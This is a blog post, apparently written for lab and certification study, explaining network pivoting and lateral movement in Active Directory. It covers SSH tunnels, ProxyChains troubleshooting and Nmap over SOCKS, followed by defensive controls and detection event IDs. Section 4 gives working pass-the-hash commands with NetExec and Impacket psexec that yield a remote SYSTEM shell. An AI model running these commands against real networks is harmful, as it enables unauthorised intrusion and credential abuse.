← Back to list

Comprehensive Guide: Network Pivoting, Lateral Movement, and Troubleshooting In AD

This guide provides an end-to-end overview of Network Pivoting, Lateral Movement, common technical troubleshooting scenarios, and defensive…

NASRALLAH SALEH (Xiro0x) · 2026-07-21 16:52 · 0 claps · 3.0 min read
#active-directory #tryhackme #hackthebox #oscp #cybersecurity
Open on Medium ↗
Wiki topics: STP · Startups & Venture 🔒 · Cybersecurity 🎬 · Film & Television 🏛️ · Politics

Comprehensive Guide: Network Pivoting, Lateral Movement, and Troubleshooting In AD

This guide provides an end-to-end overview of Network Pivoting, Lateral Movement, common technical troubleshooting scenarios, and defensive mitigations.

1. Fundamental Concepts

  • Pivoting: The process of using a compromised machine (the Pivot Host) as a gateway to route network traffic into an isolated internal subnet that is not directly accessible from your attacking machine.
  • Lateral Movement: The techniques used to extend access to other systems on the same or adjacent subnets once inside a network (e.g., using stolen credentials, hashes, or administrative protocols like SMB, WinRM, or RDP).

2. Port Forwarding & Tunneling Techniques

Technique A: Local Port Forwarding (ssh -L)

Purpose: Directs traffic from a single local port on your machine to a specific IP address and port in the internal network via the pivot host.

  • Best used for: Interacting with a single known service (e.g., RDP on port 3389, Web on port 80).
  • Command Syntax:
  • Bash
ssh -L [Local_Port]:[Target_Internal_IP]:[Target_Port] [user]@[Pivot_IP] -N
  • Example:
  • Bash
# Forward local port 13389 to RDP on internal DC (192.168.13.100) via Pivot Host (192.168.13.71) ssh -L 13389:192.168.13.100:3389 jdoe@192.168.13.71 -N  # Connect locally: xfreerdp /v:127.0.0.1:13389 /u:Administrator /p:'Password123' /cert:ignore

Technique B: Dynamic Port Forwarding (ssh -D) & SOCKS Proxy

Purpose: Opens a dynamic SOCKS proxy on your local machine, allowing you to route traffic from multiple security tools (Nmap, NetExec, Impacket) to any internal host/port.

  • Best used for: Network scanning, enumerating multiple internal hosts, and running multi-port tools without opening individual forwards.
  • Command Syntax:
  • Bash
ssh -f -D [SOCKS_Port] [user]@[Pivot_IP] -N
  • Example:
  • Bash
# Create a SOCKS proxy listening on local port 1080 in the background (-f) ssh -f -D 1080 jdoe@192.168.13.71 -N

3. ProxyChains Configuration & Troubleshooting

To force tools through a SOCKS proxy, you use ProxyChains (/etc/proxychains4.conf).

Initial ProxyChains Setup

  1. Edit the configuration file:
  2. Bash
sudo nano /etc/proxychains4.conf
  1. Navigate to the [ProxyList] section at the bottom and match your SSH SOCKS port:
  2. Plaintext
# change the port to 1080 buddy
[ProxyList] socks4 127.0.0.1 1080

Common Operational Issues & Solutions

Issue 1: Port Binding Failure (Address already in use)

  • Symptom: Running ssh -D 1080 returns: bind [127.0.0.1]:1080: Address already in use
  • Cause: Another SSH tunnel or process is already occupying local port 1080.
  • Solution: Identify and kill the existing process, or use a different port (e.g., 1081):
  • Bash
# Find process using port 1080
 ss -tulpn | grep 1080  # Kill the process ID (PID) kill -9 <PID>

Issue 2: ProxyChains Timeout / Default Port Mismatch

  • Symptom: ProxyChains outputs: [proxychains] Strict chain ... 127.0.0.1:9050 ... timeout
  • Cause: ProxyChains is configured to use port 9050 (Tor's default), but your SSH tunnel is listening on 1080.
  • Solution: Edit /etc/proxychains4.conf and replace 9050 with 1080.

Issue 3: Nmap Scans Hang or Fail

  • Symptom: proxychains nmap -sS 192.168.13.100 fails or returns inaccurate results.
  • Cause: Standard SOCKS proxies only support TCP. SYN scans (-sS), UDP scans (-sU), and ICMP Pings rely on raw sockets or non-TCP protocols which fail over SOCKS.
  • Solution: Force Nmap to use full TCP connections (-sT) and skip host discovery (-Pn):
  • Bash
proxychains nmap -sT -Pn -p 80,445,3389 192.168.13.100

4. Lateral Movement Tool Execution Examples

Once the SOCKS tunnel and ProxyChains are correctly configured, internal hosts can be accessed using standard administrative tools:

Bash

# 1. Enumerate SMB authentication via NetExec
proxychains nxc smb 192.168.13.100 -u Administrator -H <NTLM_HASH>

# 2. Gain a remote SYSTEM shell via Impacket PsExec
proxychains psexec.py -hashes :<NTLM_HASH> thm.loc/Administrator@192.168.13.100

5. Defensive Mitigations (Blue Team Controls)

Threat / TechniqueDefense / ControlDescriptionPass-the-Hash (PtH)Windows LAPSAutomatically generates unique, rotating local Administrator passwords on every host to prevent credential reuse.LSASS Credential DumpingCredential GuardUses Virtualization-based Security (VBS) to isolate LSASS secrets, preventing tools like Mimikatz from reading hashes from memory.SMB Execution (PsExec)SMB SigningEnforces cryptographic signatures on SMB traffic, preventing relay attacks and unauthorized command execution.Lateral PivotingHost Firewall & SegmentationBlocks workstation-to-workstation administrative traffic (ports 445, 5985, 3389) via Group Policy Firewall rules.Privilege EscalationTiered AdministrationRestricts Domain Admins (Tier 0) from logging into standard Workstations (Tier 2), eliminating cached high-privilege credentials.

6. Detection Events

Key Windows Event IDs used by SOC analysts to detect lateral movement:

  • Event ID 4624 (Type 3 / Type 10): Network or Remote Interactive (RDP) logons from unexpected sources.
  • Event ID 7045: Installation of a new service (primary indicator of PsExec-style execution).
  • Event ID 4698: Creation of a scheduled task (indicator of AtExec).
  • Sysmon Event ID 10: Process accessing lsass.exe (detects credential harvesting tools).

메타데이터
post_id
d11a90d2a157
slug
comprehensive-guide-network-pivoting-lateral-movement-and-troubleshooting-in-ad-d11a90d2a157
url
https://medium.com/@Xiro0x01/comprehensive-guide-network-pivoting-lateral-movement-and-troubleshooting-in-ad-d11a90d2a157
canonical_url
https://medium.com/@Xiro0x01/comprehensive-guide-network-pivoting-lateral-movement-and-troubleshooting-in-ad-d11a90d2a157
author_url
https://medium.com/@Xiro0x01
status
ok
fetched_at
2026-07-23 10:19:01